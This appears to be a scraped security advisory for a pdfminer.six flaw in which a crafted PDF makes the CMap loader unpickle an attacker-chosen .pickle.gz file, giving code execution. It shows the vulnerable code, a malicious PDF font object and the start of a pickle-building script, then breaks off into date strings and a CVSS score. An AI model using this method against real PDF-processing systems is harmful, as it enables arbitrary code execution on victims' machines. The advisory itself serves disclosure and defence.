pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The CMapDB._load_data() function in pdfminer.six uses pickle.loads() to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the cmap/ directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in .pickle.gz. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed.
# Vulnerable code in pdfminer/cmapdb.py:233-246
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # Insufficient sanitization
filename = "%s.pickle.gz" % name
# ... path construction ...
path = os.path.join(directory, filename) # If filename is an absolte path, directory is ignored
# ...
return type(str(name), (), pickle.loads(gzfile.read())) # Unsafe deserialization
An attacker can:
/malicious/malicious.pickle.gzCreate a PDF with a malicious CMAP entry:
5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fpdfs#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj
Here the /Encoding points to /pdfs/malicious. Pdfminer will append the extension .pickle.gz to this filename. Place the PDF in a file called /pdfs/malicious.pdf.
Create a malicious, zipped pickle to execute. For example, with this Python script:
#!/usr/bin/env python3
import pickle
import gzip
def create_demo_pickle():
print("Creating demonstration pickle file...")
# Create payload that executes code AND returns a dict (as...
20140915201510132016020220160614201704182017041920170720201811082019102020191107+21 more20251107Exploitability
AV:LAC:LPR:NUI:RScope
S:CImpact
C:HI:HA:HCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H